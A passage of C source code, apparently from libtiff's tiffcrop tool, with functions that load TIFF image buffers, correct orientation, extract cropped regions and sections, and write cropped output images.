TIFFError("loadImage", "Stripsize %u is too small, using imagelength * width * spp * bps / 8 = %lu", stsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Stripsize: %u, Number of Strips: %u, Rows per Strip: %u, Scanline size: %u", stsize, nstrips, rowsperstrip, scanlinesize); } if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ jpegcolormode = JPEGCOLORMODE_RGB; TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } /* The clause up to the read statement is taken from Tom Lane's tiffcp patch */ else { /* Otherwise, can't handle subsampled input */ if (input_photometric == PHOTOMETRIC_YCBCR) { TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsampling_horiz, &subsampling_vert); if (subsampling_horiz != 1 || subsampling_vert != 1) { TIFFError("loadImage", "Can't copy/convert subsampled image with subsampling %d horiz %d vert", subsampling_horiz, subsampling_vert); return (-1); } } } read_buff = *read_ptr; /* +3 : add a few guard bytes since reverseSamples16bits() can read a bit */ /* outside buffer */ if (!read_buff) { if( buffsize > 0xFFFFFFFFU - 3 ) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else { if (prev_readsize < buffsize) { if( buffsize > 0xFFFFFFFFU - 3 ) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } new_buff = _TIFFrealloc(read_buff, buffsize+3); if (!new_buff) { free (read_buff); read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else read_buff = new_buff; } } if (!read_buff) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff[buffsize] = 0; read_buff[buffsize+1] = 0; read_buff[buffsize+2] = 0; prev_readsize = buffsize; *read_ptr = read_buff; /* N.B. The read functions used copy separate plane data into a buffer as interleaved * samples rather than separate planes so the same logic works to extract regions * regardless of the way the data are organized in the input file. */ switch (readunit) { case STRIP: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigStripsIntoBuffer(in, read_buff))) { TIFFError("loadImage", "Unable to read contiguous strips into buffer"); return (-1); } } else { if (!(readSeparateStripsIntoBuffer(in, read_buff, length, width, spp, dump))) { TIFFError("loadImage", "Unable to read separate strips into buffer"); return (-1); } } break; case TILE: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read contiguous tiles into buffer"); return (-1); } } else { if (!(readSeparateTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read separate tiles into buffer"); return (-1); } } break; default: TIFFError("loadImage", "Unsupported image file format"); return (-1); break; } if ((dump->infile != NULL) && (dump->level == 2)) { dump_info (dump->infile, dump->format, "loadImage", "Image width %d, length %d, Raw image data, %4d bytes", width, length, buffsize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d", bps, spp); for (i = 0; i < length; i++) dump_buffer(dump->infile, dump->format, 1, scanlinesize, i, read_buff + (i * scanlinesize)); } return (0); } /* end loadImage */ static int correct_orientation(struct image_data *image, unsigned char **work_buff_ptr) { uint16 mirror, rotation; unsigned char *work_buff; work_buff = *work_buff_ptr; if ((image == NULL) || (work_buff == NULL)) { TIFFError ("correct_orientatin", "Invalid image or buffer pointer"); return (-1); } if ((image->adjustments & MIRROR_HORIZ) || (image->adjustments & MIRROR_VERT)) { mirror = (uint16)(image->adjustments & MIRROR_BOTH); if (mirrorImage(image->spp, image->bps, mirror, image->width, image->length, work_buff)) { TIFFError ("correct_orientation", "Unable to mirror image"); return (-1); } } if (image->adjustments & ROTATE_ANY) { if (image->adjustments & ROTATECW_90) rotation = (uint16) 90; else if (image->adjustments & ROTATECW_180) rotation = (uint16) 180; else if (image->adjustments & ROTATECW_270) rotation = (uint16) 270; else { TIFFError ("correct_orientation", "Invalid rotation value: %d", image->adjustments & ROTATE_ANY); return (-1); } if (rotateImage(rotation, image, &image->width, &image->length, work_buff_ptr)) { TIFFError ("correct_orientation", "Unable to rotate image"); return (-1); } image->orientation = ORIENTATION_TOPLEFT; } return (0); } /* end correct_orientation */ /* Extract multiple zones from an image and combine into a single composite image */ static int extractCompositeRegions(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 i, trailing_bits, prev_trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_rowsize, dst_rowsize, src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint32 prev_length, prev_width, composite_width; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract one or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src = read_buff; dst = crop_buff; /* These are setup for adding additional sections */ prev_width = prev_length = 0; prev_trailing_bits = trailing_bits = 0; composite_width = crop->combined_width; crop->combined_width = 0; crop->combined_length = 0; for (i = 0; i < crop->selections; i++) { /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[i].y1; last_row = crop->regionlist[i].y2; first_col = crop->regionlist[i].x1; last_col = crop->regionlist[i].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; /* These should not be needed for composite images */ crop->regionlist[i].width = crop_width; crop->regionlist[i].length = crop_length; crop->regionlist[i].buffptr = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * count) + 7) / 8); switch (crop->edge_ref) { default: case EDGE_TOP: case EDGE_BOTTOM: if ((i > 0) && (crop_width != crop->regionlist[i - 1].width)) { TIFFError ("extractCompositeRegions", "Only equal width regions can be combined for -E top or bottom"); return (1); } crop->combined_width = crop_width; crop->combined_length += crop_length; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + (prev_length * dst_rowsize); switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_length += crop_length; break; case EDGE_LEFT: /* splice the pieces of each row together, side by side */ case EDGE_RIGHT: if ((i > 0) && (crop_length != crop->regionlist[i - 1].length)) { TIFFError ("extractCompositeRegions", "Only equal length regions can be combined for -E left or right"); return (1); } crop->combined_width += crop_width; crop->combined_length = crop_length; dst_rowsize = (((composite_width * bps * count) + 7) / 8); trailing_bits = (crop_width * bps * count) % 8; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + prev_width; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_width += (crop_width * bps * count) / 8; prev_trailing_bits += trailing_bits; if (prev_trailing_bits > 7) prev_trailing_bits-= 8; break; } } if (crop->combined_width != composite_width) TIFFError("combineSeparateRegions","Combined width does not match composite width"); return (0); } /* end extractCompositeRegions */ /* Copy a single region of input buffer to an output buffer. * The read functions used copy separate plane data into a buffer * as interleaved samples rather than separate planes so the same * logic works to extract regions regardless of the way the data * are organized in the input file. This function can be used to * extract one or more samples from the input image by updating the * parameters for starting sample and number of samples to copy in the * fifth and eighth arguments of the call to extractContigSamples. * They would be passed as new elements of the crop_mask struct. */ static int extractSeparateRegion(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff, int region) { int shift_width, prev_trailing_bits = 0; uint32 bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, dst_rowsize; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract more or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; /* Byte aligned data only */ else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[region].y1; last_row = crop->regionlist[region].y2; first_col = crop->regionlist[region].x1; last_col = crop->regionlist[region].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; crop->regionlist[region].width = crop_width; crop->regionlist[region].length = crop_length; crop->regionlist[region].buffptr = crop_buff; src = read_buff; dst = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * spp) + 7) / 8); for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractSeparateRegion", "Unsupported bit depth %d", bps); return (1); } } return (0); } /* end extractSeparateRegion */ static int extractImageSection(struct image_data *image, struct pageseg *section, unsigned char *src_buff, unsigned char *sect_buff) { unsigned char bytebuff1, bytebuff2; #ifdef DEVELMODE /* unsigned char *src, *dst; */ #endif uint32 img_width, img_rowsize; #ifdef DEVELMODE uint32 img_length; #endif uint32 j, shift1, shift2, trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset, row_offset, col_offset; uint32 offset1, offset2, full_bytes; uint32 sect_width; #ifdef DEVELMODE uint32 sect_length; #endif uint16 bps, spp; #ifdef DEVELMODE int k; unsigned char bitset; static char *bitarray = NULL; #endif img_width = image->width; #ifdef DEVELMODE img_length = image->length; #endif bps = image->bps; spp = image->spp; #ifdef DEVELMODE /* src = src_buff; */ /* dst = sect_buff; */ #endif src_offset = 0; dst_offset = 0; #ifdef DEVELMODE if (bitarray == NULL) { if ((bitarray = (char *)malloc(img_width)) == NULL) { TIFFError ("", "DEBUG: Unable to allocate debugging bitarray"); return (-1); } } #endif /* rows, columns, width, length are expressed in pixels */ first_row = section->y1; last_row = section->y2; first_col = section->x1; last_col = section->x2; sect_width = last_col - first_col + 1; #ifdef DEVELMODE sect_length = last_row - first_row + 1; #endif img_rowsize = ((img_width * bps + 7) / 8) * spp; full_bytes = (sect_width * spp * bps) / 8; /* number of COMPLETE bytes per row in section */ trailing_bits = (sect_width * bps) % 8; #ifdef DEVELMODE TIFFError ("", "First row: %d, last row: %d, First col: %d, last col: %d\n", first_row, last_row, first_col, last_col); TIFFError ("", "Image width: %d, Image length: %d, bps: %d, spp: %d\n", img_width, img_length, bps, spp); TIFFError ("", "Sect width: %d, Sect length: %d, full bytes: %d trailing bits %d\n", sect_width, sect_length, full_bytes, trailing_bits); #endif if ((bps % 8) == 0) { col_offset = first_col * spp * bps / 8; for (row = first_row; row <= last_row; row++) { /* row_offset = row * img_width * spp * bps / 8; */ row_offset = row * img_rowsize; src_offset = row_offset + col_offset; #ifdef DEVELMODE TIFFError ("", "Src offset: %8d, Dst offset: %8d", src_offset, dst_offset); #endif _TIFFmemcpy (sect_buff + dst_offset, src_buff + src_offset, full_bytes); dst_offset += full_bytes; } } else { /* bps != 8 */ shift1 = spp * ((first_col * bps) % 8); shift2 = spp * ((last_col * bps) % 8); for (row = first_row; row <= last_row; row++) { /* pull out the first byte */ row_offset = row * img_rowsize; offset1 = row_offset + (first_col * bps / 8); offset2 = row_offset + (last_col * bps / 8); #ifdef DEVELMODE for (j = 0, k = 7; j < 8; j++, k--) { bitset = *(src_buff + offset1) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } sprintf(&bitarray[8], " "); sprintf(&bitarray[9], " "); for (j = 10, k = 7; j < 18; j++, k--) { bitset = *(src_buff + offset2) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[18] = '\0'; TIFFError ("", "Row: %3d Offset1: %d, Shift1: %d, Offset2: %d, Shift2: %d\n", row, offset1, shift1, offset2, shift2); #endif bytebuff1 = bytebuff2 = 0; if (shift1 == 0) /* the region is byte and sample alligned */ { _TIFFmemcpy (sect_buff + dst_offset, src_buff + offset1, full_bytes); #ifdef DEVELMODE TIFFError ("", " Alligned data src offset1: %8d, Dst offset: %8d\n", offset1, dst_offset); sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { bytebuff2 = src_buff[offset2] & ((unsigned char)255 << (7 - shift2)); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset2, dst_offset); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } else /* each destination byte will have to be built from two source bytes*/ { #ifdef DEVELMODE TIFFError ("", " Unalligned data src offset: %8d, Dst offset: %8d\n", offset1 , dst_offset); #endif for (j = 0; j <= full_bytes; j++) { bytebuff1 = src_buff[offset1 + j] & ((unsigned char)255 >> shift1); bytebuff2 = src_buff[offset1 + j + 1] & ((unsigned char)255 << (7 - shift1)); sect_buff[dst_offset + j] = (bytebuff1 << shift1) | (bytebuff2 >> (8 - shift1)); } #ifdef DEVELMODE sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset1 + full_bytes, dst_offset); #endif if (shift2 > shift1) { bytebuff1 = src_buff[offset1 + full_bytes] & ((unsigned char)255 << (7 - shift2)); bytebuff2 = bytebuff1 & ((unsigned char)255 << shift1); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 > Shift1\n"); #endif } else { if (shift2 < shift1) { bytebuff2 = ((unsigned char)255 << (shift1 - shift2 - 1)); sect_buff[dst_offset] &= bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 < Shift1\n"); #endif } #ifdef DEVELMODE else TIFFError ("", " Shift2 == Shift1\n"); #endif } } #ifdef DEVELMODE sprintf(&bitarray[28], " "); sprintf(&bitarray[29], " "); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } } return (0); } /* end extractImageSection */ static int writeSelections(TIFF *in, TIFF **out, struct crop_mask *crop, struct image_data *image, struct dump_opts *dump, struct buffinfo seg_buffs[], char *mp, char *filename, unsigned int *page, unsigned int total_pages) { int i, page_count; int autoindex = 0; unsigned char *crop_buff = NULL; /* Where we open a new file depends on the export mode */ switch (crop->exp_mode) { case ONE_FILE_COMPOSITE: /* Regions combined into single image */ autoindex = 0; crop_buff = seg_buffs[0].buffer; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = total_pages; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case ONE_FILE_SEPARATED: /* Regions as separated images */ autoindex = 0; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = crop->selections * total_pages; for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_IMAGE_COMPOSITE: /* Regions as composite image */ autoindex = 1; if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[0].buffer; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case FILE_PER_IMAGE_SEPARATED: /* Regions as separated images */ autoindex = 1; page_count = crop->selections; if (update_output_file (out, mp, autoindex, filename, page)) return (1); for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_SELECTION: autoindex = 1; page_count = 1; for (i = 0; i < crop->selections; i++) { if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; default: return (1); } return (0); } /* end writeRegions */ static int writeImageSections(TIFF *in, TIFF *out, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts * dump, unsigned char *src_buff, unsigned char **sect_buff_ptr) { double hres, vres; uint32 i, k, width, length, sectsize; unsigned char *sect_buff = *sect_buff_ptr; hres = page->hres; vres = page->vres; k = page->cols * page->rows; if ((k < 1) || (k > MAX_SECTIONS)) { TIFFError("writeImageSections", "%d Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections", k); return (-1); } for (i = 0; i < k; i++) { width = sections[i].x2 - sections[i].x1 + 1; length = sections[i].y2 - sections[i].y1 + 1; sectsize = (uint32) ceil((width * image->bps + 7) / (double)8) * image->spp * length; /* allocate a buffer if we don't have one already */ if (createImageSection(sectsize, sect_buff_ptr)) { TIFFError("writeImageSections", "Unable to allocate section buffer"); exit (-1); } sect_buff = *sect_buff_ptr; if (extractImageSection (image, &sections[i], src_buff, sect_buff)) { TIFFError("writeImageSections", "Unable to extract image sections"); exit (-1); } /* call the write routine here instead of outside the loop */ if (writeSingleSection(in, out, image, dump, width, length, hres, vres, sect_buff)) { TIFFError("writeImageSections", "Unable to write image section"); exit (-1); } } return (0); } /* end writeImageSections */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. */ static int writeSingleSection(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, double hres, double vres, unsigned char *sect_buff) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; /* Calling this seems to reset the compression mode on the TIFF *in file. TIFFGetField(in, TIFFTAG_JPEGCOLORMODE, &input_jpeg_colormode); */ input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeSingleSection", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif /* This is the global variable compression which is set * if the user has specified a command line option for * a compression option. Should be passed around in one * of the parameters instead of as a global. If no user * option specified it will still be (uint16) -1. */ if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { /* OJPEG is no longer supported for writing so upgrade to JPEG */ if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else /* Use the compression from the input file */ CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* holdout mask */ { TIFFError ("writeSingleSection", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } #ifdef DEBUG2 TIFFError("writeSingleSection", "Input photometric: %s", (input_photometric == PHOTOMETRIC_RGB) ? "RGB" : ((input_photometric == PHOTOMETRIC_YCBCR) ? "YCbCr" : "Not RGB or YCbCr")); #endif if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeSingleSection", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { /* These are references to GLOBAL variables set by defaults * and /or the compression flag */ case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeSingleSection", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Update these since they are overwritten from input res by loop above */ TIFFSetField(out, TIFFTAG_XRESOLUTION, (float)hres); TIFFSetField(out, 